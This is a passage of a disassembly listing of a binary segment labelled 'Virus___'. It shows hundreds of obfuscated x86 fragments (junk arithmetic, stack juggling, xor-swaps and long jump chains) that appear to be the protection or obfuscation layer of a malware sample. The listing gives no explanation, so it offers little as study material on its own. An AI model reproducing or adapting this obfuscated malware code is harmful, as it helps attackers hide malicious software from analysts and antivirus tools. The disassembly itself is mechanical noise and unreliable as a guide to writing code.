cl, bh jmp loc_5930D1 ; --------------------------------------------------------------------------- loc_592793: ; CODE XREF: Virus___:0058D733j add edi, 4 jmp loc_5861C8 ; --------------------------------------------------------------------------- loc_59279E: ; CODE XREF: Virus___:00587683j add ebp, 1 add ebp, 13136463h push eax mov eax, 5E6927EDh or eax, 46C11614h neg eax xor eax, 532A77F3h push 129Bh mov [esp], edi jmp loc_57F4CC ; --------------------------------------------------------------------------- loc_5927C9: ; CODE XREF: Virus___:0058C3BFj push 56F133D5h pop ebp jmp loc_58D0AE ; --------------------------------------------------------------------------- loc_5927D4: ; CODE XREF: Virus___:00588BC8j shl edi, 8 jmp loc_586C34 ; --------------------------------------------------------------------------- loc_5927DC: ; CODE XREF: Virus___:00587BF3j mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_582491 ; --------------------------------------------------------------------------- loc_5927ED: ; CODE XREF: Virus___:0058C8F6j push ebp push 4EEh mov [esp], esp jmp loc_58A8CB ; --------------------------------------------------------------------------- loc_5927FB: ; CODE XREF: Virus___:0057F9BFj sub esi, 60420Bh add esi, 20200524h jmp loc_58D2AA ; --------------------------------------------------------------------------- loc_59280C: ; CODE XREF: Virus___:00584A84j push ebp jmp loc_584E7B ; --------------------------------------------------------------------------- loc_592812: ; CODE XREF: Virus___:0058A144j add esi, ebp pop ebp xchg esi, [esp] pop esp sub bl, al push 2835h mov [esp], eax mov al, 0Fh shl al, 8 push ebx mov bh, 0Eh sub bh, 0Fh jmp loc_5844FE ; --------------------------------------------------------------------------- loc_592833: ; CODE XREF: Virus___:0058F8A0j mov edx, [esp] jmp loc_57F384 ; --------------------------------------------------------------------------- loc_59283B: ; CODE XREF: Virus___:0058B338j pop eax add ecx, edi mov [ecx], al jmp loc_58EF01 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 3373h mov [esp], esi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_58AE0D ; --------------------------------------------------------------------------- loc_592863: ; CODE XREF: Virus___:0058D9B2j mov edi, 3EB2311Eh sub [edx+30h], edi mov edi, [esp] add esp, 4 mov edi, [esp] add esp, 4 popa popf retn ; --------------------------------------------------------------------------- jmp loc_5901A2 ; --------------------------------------------------------------------------- loc_592882: ; CODE XREF: Virus___:00587832j dec ebp jmp loc_59330A ; --------------------------------------------------------------------------- loc_592888: ; CODE XREF: Virus___:0058D189j pop edx add edx, 4 jmp loc_58E9D6 ; --------------------------------------------------------------------------- loc_592894: ; CODE XREF: Virus___:0058B7F8j mov eax, [esp] jmp loc_5827C8 ; --------------------------------------------------------------------------- loc_59289C: ; CODE XREF: Virus___:005869CFj push 1A30567Fh jmp loc_59331D ; --------------------------------------------------------------------------- loc_5928A6: ; CODE XREF: Virus___:00591361j sub edx, ebx jmp loc_586722 ; --------------------------------------------------------------------------- loc_5928AD: ; CODE XREF: Virus___:0058A2ADj pop esp jmp loc_582151 ; --------------------------------------------------------------------------- loc_5928B3: ; CODE XREF: Virus___:0058C1CFj add ch, 1 shl ch, 1 neg ch dec ch add ch, 98h jmp loc_58A38E ; --------------------------------------------------------------------------- loc_5928C4: ; CODE XREF: Virus___:0059213Ej pop eax jmp loc_58141E ; --------------------------------------------------------------------------- loc_5928CA: ; CODE XREF: Virus___:005802F7j mov edx, [esp] add esp, 4 add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_5904DD ; --------------------------------------------------------------------------- loc_5928E4: ; CODE XREF: Virus___:0058FE38j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 2BCF3037h jmp loc_5914F0 ; --------------------------------------------------------------------------- loc_592903: ; CODE XREF: Virus___:00580730j pop ebp sub esp, 4 mov [esp], ecx jmp loc_58F49F ; --------------------------------------------------------------------------- loc_592912: ; CODE XREF: Virus___:0058C372j push eax jmp loc_58B7C4 ; --------------------------------------------------------------------------- loc_592918: ; CODE XREF: Virus___:005851E6j sub edx, eax sub edx, 4B194F57h push dword ptr [esp] pop eax add esp, 4 push edi jmp loc_58288C ; --------------------------------------------------------------------------- loc_592930: ; CODE XREF: Virus___:0058B09Ej mov ebp, [esp] push eax mov eax, esp add eax, 4 jmp loc_582D7C ; --------------------------------------------------------------------------- loc_592940: ; CODE XREF: Virus___:00584B8Ej ; Virus___:0058C581j push 3CA3h mov [esp], ebx jmp loc_58C838 ; --------------------------------------------------------------------------- loc_59294D: ; CODE XREF: Virus___:005812A6j ror dword ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_592956: ; CODE XREF: Virus___:0058B019j push 454Fh mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_58ABBE ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_5884FC ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58DB6F ; --------------------------------------------------------------------------- loc_592983: ; CODE XREF: Virus___:00594307j push 4070h jmp loc_58111D ; --------------------------------------------------------------------------- loc_59298D: ; CODE XREF: Virus___:00584316j sub esp, 4 jmp loc_581B02 ; --------------------------------------------------------------------------- loc_592998: ; CODE XREF: Virus___:0058E73Fj pop edx dec bh shr bh, 1 neg bh sub esp, 4 jmp loc_5936D3 ; --------------------------------------------------------------------------- loc_5929A7: ; CODE XREF: Virus___:005831C1j pop esp push 577Dh jmp loc_582F4A ; --------------------------------------------------------------------------- loc_5929B2: ; CODE XREF: Virus___:005825EAj sub [esp], cl mov cl, [esp] add esp, 2 push edx mov dh, 93h jmp loc_58A426 ; --------------------------------------------------------------------------- loc_5929C3: ; CODE XREF: Virus___:0058C306j xor edx, esi xor esi, edx push 3E90h jmp loc_590D82 ; --------------------------------------------------------------------------- loc_5929D1: ; CODE XREF: Virus___:00589C54j sub ebx, 1 jmp loc_587AA5 ; --------------------------------------------------------------------------- loc_5929DC: ; CODE XREF: Virus___:0058B3D7j add esp, 4 push ebx push 5E24h mov [esp], esp add dword ptr [esp], 4 pop ebx push 1DDFh mov [esp], eax mov eax, 3D3D1659h shl eax, 6 neg eax shl eax, 3 shr eax, 5 and eax, 24CD558Fh add eax, 0FBF3F004h add ebx, 29E776E4h add ebx, eax sub ebx, 29E776E4h push dword ptr [esp] mov eax, [esp] jmp loc_5816CA ; --------------------------------------------------------------------------- loc_592A2B: ; CODE XREF: Virus___:0058F0F2j pop edi xchg eax, [esp] jmp loc_5919F3 ; --------------------------------------------------------------------------- loc_592A34: ; CODE XREF: Virus___:00593798j shl edi, 1 shr edi, 1 or edi, 1F4D4922h inc edi jmp loc_58321B ; --------------------------------------------------------------------------- loc_592A44: ; CODE XREF: Virus___:00582D22j pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59171E ; --------------------------------------------------------------------------- loc_592A57: ; CODE XREF: Virus___:0057FF4Aj add dword ptr [esp], 4 pop esi push ecx jmp loc_583FCF ; --------------------------------------------------------------------------- loc_592A62: ; CODE XREF: Virus___:00590F00j push edx mov edx, 376C17C5h sub edx, 27FF102Dh shr edx, 8 neg edx xor edx, 671376D0h and edx, 73AC6A3Bh jmp loc_580882 ; --------------------------------------------------------------------------- loc_592A84: ; CODE XREF: Virus___:0058FB03j mov edi, eax pop eax not edi xor edi, eax xor eax, edi xor edi, eax xchg eax, edi dec edi xchg eax, edi push edi push 957h mov [esp], eax mov edi, [esp] add esp, 4 pop eax jmp loc_58298E ; --------------------------------------------------------------------------- loc_592AAA: ; CODE XREF: Virus___:00580F2Cj pop edx push ebp mov ebp, 5AB474F9h add ebp, 0F3B69095h or edx, ebp jmp loc_5804AC ; --------------------------------------------------------------------------- loc_592ABE: ; CODE XREF: Virus___:00583916j push eax mov eax, esp jmp loc_59410B ; --------------------------------------------------------------------------- loc_592AC6: ; CODE XREF: Virus___:00584EFBj or ecx, 3E1F3B3Bh inc ecx sub ecx, 48C24656h jmp loc_58EE0F ; --------------------------------------------------------------------------- loc_592AD8: ; CODE XREF: Virus___:0058D38Cj add ebp, edx jmp loc_587665 ; --------------------------------------------------------------------------- loc_592ADF: ; CODE XREF: Virus___:0058EACDj sub edi, ecx add edi, 3F6026F0h mov ecx, [esp] add esp, 4 sub eax, edi pop edi mov edx, [esp] add esp, 4 add eax, 2 jmp loc_588073 ; --------------------------------------------------------------------------- loc_592B04: ; CODE XREF: Virus___:00588CC2j mov dh, 43h add al, dh pop edx push edx jmp loc_5806E7 ; --------------------------------------------------------------------------- loc_592B0F: ; CODE XREF: Virus___:00585BE1j pop esp jmp loc_57F37C ; --------------------------------------------------------------------------- loc_592B15: ; CODE XREF: Virus___:0058CBE0j add ebx, edx jmp loc_5830F5 ; --------------------------------------------------------------------------- loc_592B1C: ; CODE XREF: Virus___:00585E6Fj pop ebp push edi jmp loc_591263 ; --------------------------------------------------------------------------- loc_592B23: ; CODE XREF: Virus___:00585A87j mov ecx, 2A99B37Bh add eax, 36FC523Dh sub eax, 1E6774D6h sub eax, ecx add eax, 1E6774D6h push edi sub esp, 4 mov [esp], edx mov edx, 6C5659CFh xor edx, 0C581786h jmp loc_58C88C ; --------------------------------------------------------------------------- loc_592B53: ; CODE XREF: Virus___:00589E4Cj mov ebx, 49626054h not ebx sub ebx, 0A90C36BAh and edi, ebx pop ebx sub edi, 180002Dh add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] jmp loc_5909C6 ; --------------------------------------------------------------------------- lodsd add eax, 5E541333h sub eax, ebx push ebp jmp loc_58400A ; --------------------------------------------------------------------------- loc_592B85: ; CODE XREF: Virus___:0058A581j xchg edx, [esp] jmp loc_5916A7 ; --------------------------------------------------------------------------- loc_592B8D: ; CODE XREF: Virus___:0058AA76j pop ebp pop dword ptr [esp] jmp loc_58ED6F ; --------------------------------------------------------------------------- loc_592B96: ; CODE XREF: Virus___:0058E84Aj pop esp jmp loc_58CD4A ; --------------------------------------------------------------------------- loc_592B9C: ; CODE XREF: Virus___:00592692j push edi mov edi, 5D936865h push edx jmp loc_58E1EC ; --------------------------------------------------------------------------- loc_592BA8: ; CODE XREF: Virus___:00586301j pop eax mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_58E97A ; --------------------------------------------------------------------------- loc_592BBD: ; CODE XREF: Virus___:0059402Bj mov edi, 31B41CEFh add [esp+8], edi pop edi mov esi, [esp] jmp loc_589A5D ; --------------------------------------------------------------------------- loc_592BCF: ; CODE XREF: Virus___:00582CFFj mov ebx, 4 mov esi, ebx jmp loc_587E2F ; --------------------------------------------------------------------------- loc_592BDB: ; CODE XREF: Virus___:0058F8F7j inc dl jmp loc_583D8D ; --------------------------------------------------------------------------- loc_592BE2: ; CODE XREF: Virus___:0057F7EDj push esp pop edx add edx, 4 sub edx, 2 xor edx, [esp] xor [esp], edx jmp loc_586240 ; --------------------------------------------------------------------------- loc_592BFB: ; CODE XREF: Virus___:005890B6j shr edx, 3 xor edx, 723E436Eh jmp loc_58E4E7 ; --------------------------------------------------------------------------- loc_592C09: ; CODE XREF: Virus___:0058DA11j dec edi inc edi xor edi, 44866h add edi, 73800528h add edi, 88CC81B1h add edx, edi pop edi jmp loc_57F978 ; --------------------------------------------------------------------------- loc_592C25: ; CODE XREF: Virus___:0058CD7Cj xor eax, 7ABF67DBh push dword ptr [esp] pop edx add esp, 4 jmp loc_5838C7 ; --------------------------------------------------------------------------- loc_592C39: ; CODE XREF: Virus___:005837F8j pop ebx jmp loc_5899FA ; --------------------------------------------------------------------------- loc_592C3F: ; CODE XREF: Virus___:005843B0j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_591DE0 ; --------------------------------------------------------------------------- loc_592C55: ; CODE XREF: Virus___:00592085j xchg edi, [esp] pop esp push ebp jmp loc_58D3BD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_592C6E: ; CODE XREF: Virus___:005814EBj pop esi xor esi, 58DF4835h add esi, 7A932683h mov edi, esi pop esi jmp loc_594334 ; --------------------------------------------------------------------------- loc_592C83: ; CODE XREF: Virus___:005811D2j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_593747 ; --------------------------------------------------------------------------- loc_592C97: ; CODE XREF: Virus___:0058223Aj mov eax, 3B0A231Bh xor ebx, eax push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub ebx, 43EB71ECh push edx mov edx, 2AC677F1h and ebx, edx pop edx push ebp jmp loc_585030 ; --------------------------------------------------------------------------- loc_592CCA: ; CODE XREF: Virus___:00580B5Fj mov esi, esp add esi, 4 sub esi, 4 jmp loc_590B3C ; --------------------------------------------------------------------------- loc_592CDA: ; CODE XREF: Virus___:0058B5A6j xchg ebx, [esp] jmp loc_58C266 ; --------------------------------------------------------------------------- loc_592CE2: ; CODE XREF: Virus___:00586C93j xor ecx, [esp] jmp loc_582F9D ; --------------------------------------------------------------------------- loc_592CEA: ; CODE XREF: Virus___:0057FCCAj shr eax, 4 jmp loc_591BC7 ; --------------------------------------------------------------------------- loc_592CF2: ; CODE XREF: Virus___:0058E207j test ecx, eax pushf jmp loc_58BB14 ; --------------------------------------------------------------------------- loc_592CFA: ; CODE XREF: Virus___:00581322j xchg edx, [esp] pop esp jmp loc_581F31 ; --------------------------------------------------------------------------- loc_592D03: ; CODE XREF: Virus___:0058F3CCj add esp, 4 xchg ecx, [esp] pop esp mul ecx push 175Bh jmp loc_5862C7 ; --------------------------------------------------------------------------- loc_592D19: ; CODE XREF: Virus___:00593886j pop ecx jmp loc_584F10 ; --------------------------------------------------------------------------- loc_592D1F: ; CODE XREF: Virus___:0058B885j sub bh, 99h push 7EFBh mov [esp], ecx mov cl, 43h sub esp, 4 mov [esp], edx jmp loc_58C8FB ; --------------------------------------------------------------------------- loc_592D37: ; CODE XREF: Virus___:00589DA2j shl ebp, 7 jmp loc_58CF4B ; --------------------------------------------------------------------------- loc_592D3F: ; CODE XREF: Virus___:0058D34Ej push 33CBh mov [esp], ecx push esp pop ecx push 2566h mov [esp], eax push esi mov esi, 6541198Ah inc esi dec esi sub esi, 8C6209Ah add esi, 7F971CDCh not esi add esi, 49951A7Ch jmp loc_581980 ; --------------------------------------------------------------------------- loc_592D72: ; CODE XREF: Virus___:0058AEE4j push 25C5h mov [esp], ebp push 2B25h jmp loc_59322C ; --------------------------------------------------------------------------- loc_592D84: ; CODE XREF: Virus___:0058FCB3j pop ecx pop dword ptr [esp] pop esp mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_5800B9 ; --------------------------------------------------------------------------- loc_592D9A: ; CODE XREF: Virus___:005870C0j add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push 2A34h mov [esp], eax jmp loc_589FF3 ; --------------------------------------------------------------------------- loc_592DB1: ; CODE XREF: Virus___:00582675j push dword ptr [esp] push dword ptr [esp] pop edi sub esp, 4 mov [esp], edi mov edi, esp jmp loc_58C288 ; --------------------------------------------------------------------------- loc_592DC8: ; CODE XREF: Virus___:00591851j sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edi push 6B1652A8h jmp loc_588DD2 ; --------------------------------------------------------------------------- loc_592DE1: ; CODE XREF: Virus___:005910DDj pop eax push 4C22h mov [esp], eax jmp loc_58CA5B ; --------------------------------------------------------------------------- loc_592DEF: ; CODE XREF: Virus___:0058EAF2j ror byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_592DF8: ; CODE XREF: Virus___:00587805j shl al, 5 add al, 5Fh or al, 21h jmp loc_580696 ; --------------------------------------------------------------------------- loc_592E04: ; CODE XREF: Virus___:00586BB1j xor eax, edx jmp loc_587DC5 ; --------------------------------------------------------------------------- loc_592E0B: ; CODE XREF: Virus___:005863DAj add edi, esi pop esi push ecx mov ecx, 4 add edi, 3F9D4B1Eh add edi, 536C64D7h add edi, ecx sub edi, 536C64D7h sub edi, 3F9D4B1Eh pop ecx jmp loc_58067A ; --------------------------------------------------------------------------- loc_592E34: ; CODE XREF: Virus___:0058C2B6j push ecx jmp loc_58D9F7 ; --------------------------------------------------------------------------- loc_592E3A: ; CODE XREF: Virus___:00587FA3j pop edx jmp loc_58B6A2 ; --------------------------------------------------------------------------- loc_592E40: ; CODE XREF: Virus___:00582063j xchg ecx, [esp] mov esp, [esp] add eax, 6DEA6B84h push edx jmp loc_586523 ; --------------------------------------------------------------------------- loc_592E51: ; CODE XREF: Virus___:00584E4Aj add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_588092 ; --------------------------------------------------------------------------- loc_592E68: ; CODE XREF: Virus___:00584807j mov [esp], ebx jmp loc_58D4CD ; --------------------------------------------------------------------------- loc_592E70: ; CODE XREF: Virus___:0058513Bj mov [esp], edx push ebx mov ebx, 1Ch mov edx, ebx mov ebx, [esp] add esp, 4 push edi mov edi, 20942E13h jmp loc_5863DF ; --------------------------------------------------------------------------- loc_592E8C: ; CODE XREF: Virus___:005920CEj or ebp, 6DA33DC6h push ebp jmp loc_588E98 ; --------------------------------------------------------------------------- loc_592E98: ; CODE XREF: Virus___:0058EC14j mov [esp], ebp mov ebp, 8000h jmp loc_588B8F ; --------------------------------------------------------------------------- loc_592EA5: ; CODE XREF: Virus___:00581A4Dj mov ecx, [esp] add esp, 4 jmp loc_58C578 ; --------------------------------------------------------------------------- loc_592EB3: ; CODE XREF: Virus___:0058104Cj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, 5BE636C4h push eax mov eax, 1 sub esi, eax pop eax dec esi sub esi, 0FFFFFFFFh not esi push edi mov edi, 49DE7E6Dh jmp loc_593F9E ; --------------------------------------------------------------------------- loc_592EE8: ; CODE XREF: Virus___:0057FB54j pop ebp sub esi, 135F0807h jmp loc_58DD89 ; --------------------------------------------------------------------------- loc_592EF4: ; CODE XREF: Virus___:0058136Cj add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sub esp, 4 mov [esp], esi push ecx push eax mov eax, 4F6D6104h shl eax, 4 neg eax sub eax, 0A183FFF7h mov ecx, eax pop eax mov esi, ecx jmp loc_59249A ; --------------------------------------------------------------------------- loc_592F2B: ; CODE XREF: Virus___:00585CC1j mov esi, 2B4626C1h sub esi, 2B4626BDh jmp loc_5824DF ; --------------------------------------------------------------------------- loc_592F3B: ; CODE XREF: Virus___:005902DDj xchg edx, [esp] jmp loc_581ED6 ; --------------------------------------------------------------------------- loc_592F43: ; CODE XREF: Virus___:0058E8D2j push 150Ah mov [esp], esi jmp loc_58EDBB ; --------------------------------------------------------------------------- loc_592F50: ; CODE XREF: Virus___:0058F37Ej sub edx, edi jmp loc_580183 ; --------------------------------------------------------------------------- loc_592F57: ; CODE XREF: Virus___:005919C4j add ebp, 2 xchg ebp, [esp] jmp loc_58F495 ; --------------------------------------------------------------------------- loc_592F65: ; CODE XREF: Virus___:005899C0j mov ecx, 576614BCh jmp loc_583A96 ; --------------------------------------------------------------------------- loc_592F6F: ; CODE XREF: Virus___:0058296Cj mov [esp], ebp mov ebp, 0A826B9Fh jmp loc_588214 ; --------------------------------------------------------------------------- loc_592F7C: ; CODE XREF: Virus___:00588E0Bj push 3D270C6Fh pop ebx or ebx, 491D3576h and ebx, 0D770BBAh and ebx, 10FC4956h add ebx, 0FFCBF6F2h mov esi, ebx mov ebx, [esp] add esp, 4 add edx, esi jmp loc_588E6B ; --------------------------------------------------------------------------- loc_592FA9: ; CODE XREF: Virus___:00587028j add ebp, 4 add ebp, 4 jmp loc_58EE4D ; --------------------------------------------------------------------------- loc_592FB7: ; CODE XREF: Virus___:005837C4j mov eax, [esp] jmp loc_5870D0 ; --------------------------------------------------------------------------- loc_592FBF: ; CODE XREF: Virus___:00580CE3j mov dh, 1Ah mov cl, dh pop edx mov ah, 0C1h sub ah, cl pop ecx sub ah, 0F8h jmp loc_589515 ; --------------------------------------------------------------------------- loc_592FD1: ; CODE XREF: Virus___:005896A7j push 101Ah mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 4 jmp loc_591EB0 ; --------------------------------------------------------------------------- loc_592FE9: ; CODE XREF: Virus___:00587646j push 6FFDh mov [esp], eax push edi jmp loc_583D20 ; --------------------------------------------------------------------------- loc_592FF7: ; CODE XREF: Virus___:00580779j mov eax, [esp] add esp, 4 push ecx mov ecx, esp sub esp, 4 mov [esp], edx mov edx, 5FFD4824h jmp loc_593B60 ; --------------------------------------------------------------------------- loc_593013: ; CODE XREF: Virus___:005844CCj push edi jmp loc_58CDCE ; --------------------------------------------------------------------------- loc_593019: ; CODE XREF: Virus___:00587F74j push 2006h mov [esp], eax mov eax, 4 add ebx, 0B6D4BB3h add ebx, eax sub ebx, 0B6D4BB3h pop eax xchg ebx, [esp] mov esp, [esp] xor esi, [esp] xor [esp], esi jmp loc_58780A ; --------------------------------------------------------------------------- loc_593046: ; CODE XREF: Virus___:00584828j sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_581A77 ; --------------------------------------------------------------------------- loc_593054: ; CODE XREF: Virus___:00588768j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_58809D ; --------------------------------------------------------------------------- loc_59306B: ; CODE XREF: Virus___:00592646j mov dh, 1Eh sub bl, dh pop dx add bl, ah add bl, 1Eh sub bl, 0B7h add bl, 26h pop eax inc bl shr bl, 3 shr bl, 5 jmp loc_58C155 ; --------------------------------------------------------------------------- loc_59308A: ; CODE XREF: Virus___:00582823j add ebx, edi jmp loc_58D9D6 ; --------------------------------------------------------------------------- loc_593091: ; CODE XREF: Virus___:00581994j push eax mov eax, 7283471Eh jmp loc_5913A6 ; --------------------------------------------------------------------------- loc_59309C: ; CODE XREF: Virus___:00591B63j pop ebp add ebx, 8DD0314h add ebx, 5D7C3686h add ebx, eax sub ebx, 5D7C3686h jmp loc_58E3D7 ; --------------------------------------------------------------------------- loc_5930B6: ; CODE XREF: Virus___:0058A395j mov ch, ah mov dl, ch mov ecx, [esp] jmp loc_581E88 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_57F3EF ; --------------------------------------------------------------------------- loc_5930D1: ; CODE XREF: Virus___:0059278Ej pop ebx sub esp, 4 mov [esp], eax mov al, cl jmp loc_58BA31 ; --------------------------------------------------------------------------- loc_5930DF: ; CODE XREF: Virus___:00589FE6j push 4A6Dh mov [esp], ecx mov ecx, 347A455Bh not ecx push edi mov edi, 0B56BC1CDh xor ecx, edi jmp loc_585D43 ; --------------------------------------------------------------------------- loc_5930FB: ; CODE XREF: Virus___:0058FF87j mov ebx, 43893398h or edx, ebx pop ebx sub edx, 0F0CF3862h and ebp, edx jmp loc_588EB2 ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_593DF8 ; --------------------------------------------------------------------------- loc_593123: ; CODE XREF: Virus___:0058B29Ej push ax mov al, 50h xor bh, al jmp loc_58663B ; --------------------------------------------------------------------------- loc_59312E: ; CODE XREF: Virus___:00584AFDj pop ebp add edi, 4BB2782Bh jmp loc_591A5D ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58FFC5 ; --------------------------------------------------------------------------- loc_593143: ; CODE XREF: Virus___:0058DEADj xchg ebx, [esp] pop esp mov [esp], edi jmp loc_590F86 ; --------------------------------------------------------------------------- loc_59314F: ; CODE XREF: Virus___:0059038Bj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] shl dword ptr [esp], cl jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593175: ; CODE XREF: Virus___:005820FEj add ecx, 4 sub ecx, 4 jmp loc_5804C3 ; --------------------------------------------------------------------------- loc_593183: ; CODE XREF: Virus___:005924D9j pop ebx shr esi, 1 push esi not dword ptr [esp] pop esi xor esi, 0CDD0D47Ch add edx, 0D883753h sub edx, esi push edi mov edi, 7EBE64BAh jmp loc_58C747 ; --------------------------------------------------------------------------- loc_5931A4: ; CODE XREF: Virus___:0058006Cj add esp, 4 add esp, 4 jmp loc_593739 ; --------------------------------------------------------------------------- loc_5931B2: ; CODE XREF: Virus___:005877ADj pop ebx sub edx, 44FC3DF5h sub edx, 1A872217h add edx, 6F1B5996h add edx, 27DA0E87h add edx, eax sub edx, 27DA0E87h sub edx, 6F1B5996h add edx, 1A872217h add edx, 44FC3DF5h push eax mov eax, 3CB16897h sub esp, 4 mov [esp], eax mov eax, 4B194F57h add edx, 7DDF41A2h add edx, eax jmp loc_5851DF ; --------------------------------------------------------------------------- loc_593203: ; CODE XREF: Virus___:0058C228j mov esi, [esp] add esp, 4 push edi mov edi, esp push esi mov esi, 7295AC7h shr esi, 8 neg esi shr esi, 7 neg esi sub esi, 0FE000E4Fh add edi, esi jmp loc_58190A ; --------------------------------------------------------------------------- loc_59322C: ; CODE XREF: Virus___:00592D7Fj push 5Ch push esp jmp loc_58C1DA ; --------------------------------------------------------------------------- loc_593237: ; CODE XREF: Virus___:0058D6CEj mov [esp], ebx mov ebx, 52717D82h push edx mov edx, 19C91926h sub esp, 4 mov [esp], ebx mov ebx, 343330B9h sub edx, ebx mov ebx, [esp] add esp, 4 jmp loc_588D3B ; --------------------------------------------------------------------------- loc_59325D: ; CODE XREF: Virus___:0057F86Dj push 4C962FD0h pop ebx neg ebx sub ebx, 0B369D02Eh push ebx sub dword ptr [esp], 66703348h mov edi, [esp] add esp, 4 jmp loc_590950 ; --------------------------------------------------------------------------- loc_59327E: ; CODE XREF: Virus___:0058E415j xor [esp], edx jmp loc_57FBF9 ; --------------------------------------------------------------------------- loc_593286: ; CODE XREF: Virus___:0058B3F8j add ecx, ebp mov ebp, [esp] add esp, 4 add ecx, 0C90243DCh push eax push 60CA6F8Bh pop eax add esi, eax pop eax jmp loc_58FAD1 ; --------------------------------------------------------------------------- loc_5932A3: ; CODE XREF: Virus___:00588B75j push edx push ecx push 3BFB1A59h pop ecx jmp loc_593C70 ; --------------------------------------------------------------------------- loc_5932B0: ; CODE XREF: Virus___:0057FE8Dj push ebp jmp loc_58A6BB ; --------------------------------------------------------------------------- loc_5932B6: ; CODE XREF: Virus___:00590E89j xchg ebp, [esp] pop esp add edi, esi jmp loc_58223F ; --------------------------------------------------------------------------- loc_5932C1: ; CODE XREF: Virus___:00581104j pop eax xchg edi, [esp] pop esp mov [esp], eax sub esp, 4 jmp loc_594240 ; --------------------------------------------------------------------------- loc_5932D4: ; CODE XREF: Virus___:005838D2j sub esp, 4 mov [esp], esp jmp loc_59141E ; --------------------------------------------------------------------------- loc_5932DF: ; CODE XREF: Virus___:00588728j or ch, 0A2h add ch, 4 and ch, 74h xor ch, 54h jmp loc_58A3CE ; --------------------------------------------------------------------------- loc_5932F0: ; CODE XREF: Virus___:005906ABj push dword ptr [esp] jmp loc_5908B0 ; --------------------------------------------------------------------------- loc_5932F8: ; CODE XREF: Virus___:0058DDCAj push dword ptr [esp] pop edx add esp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_584637 ; --------------------------------------------------------------------------- loc_59330A: ; CODE XREF: Virus___:00592883j sub ebp, 0C1378EE1h sub ecx, 4DDB7F77h sub ecx, ebp jmp loc_5840B8 ; --------------------------------------------------------------------------- loc_59331D: ; CODE XREF: Virus___:005928A1j mov edi, [esp] push 35BEh mov [esp], ebp mov ebp, esp jmp loc_58DC26 ; --------------------------------------------------------------------------- loc_59332F: ; CODE XREF: Virus___:0058175Bj mov ebx, 2 add eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_580483 ; --------------------------------------------------------------------------- loc_593344: ; CODE XREF: Virus___:0058C0E4j dec dword ptr [esp] pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_59334D: ; CODE XREF: Virus___:0058A883j mov edx, 1B9E6916h jmp loc_591A90 ; --------------------------------------------------------------------------- loc_593357: ; CODE XREF: Virus___:00587D25j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5856C8 ; --------------------------------------------------------------------------- loc_593365: ; CODE XREF: Virus___:00583380j add esp, 4 and ebx, eax pop eax jmp loc_584D0B ; --------------------------------------------------------------------------- loc_593373: ; CODE XREF: Virus___:0057FD5Bj push 53A1h jmp loc_5802A4 ; --------------------------------------------------------------------------- loc_59337D: ; CODE XREF: Virus___:0058CC56j push 78E5h jmp loc_585867 ; --------------------------------------------------------------------------- loc_593387: ; CODE XREF: Virus___:00583E64j xor [eax], edx pop eax jmp loc_5892B5 ; --------------------------------------------------------------------------- loc_59338F: ; CODE XREF: Virus___:00582F2Dj mov ebx, 60412AFDh sub ebx, 0EA3AF8FFh xor eax, ebx mov ebx, [esp] add esp, 4 push 0 sub [esp], eax pop eax add eax, 36070A5h sub eax, 1A582987h add eax, 567C1081h jmp loc_5833D2 ; --------------------------------------------------------------------------- loc_5933BF: ; CODE XREF: Virus___:0058F7ACj mov ecx, 570E1962h add edx, ecx pop ecx pop eax not edx xor edx, 0E4B6D673h jmp loc_5857D0 ; --------------------------------------------------------------------------- loc_5933D5: ; CODE XREF: Virus___:00586B41j xor ebp, 19D372BCh sub eax, 2C5F0BF5h add eax, ebp add eax, 2C5F0BF5h pop ebp jmp loc_585DFF ; --------------------------------------------------------------------------- loc_5933ED: ; CODE XREF: Virus___:0058232Fj sub [esp+4], ecx sub dword ptr [esp+4], 24ED5E45h push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp mov ebp, esp push ebx mov ebx, 16CE488Ch inc ebx sub ebx, 3DFA48EAh add ebx, 272C0061h add ebp, ebx pop ebx add ebp, 4 xor ebp, [esp] xor 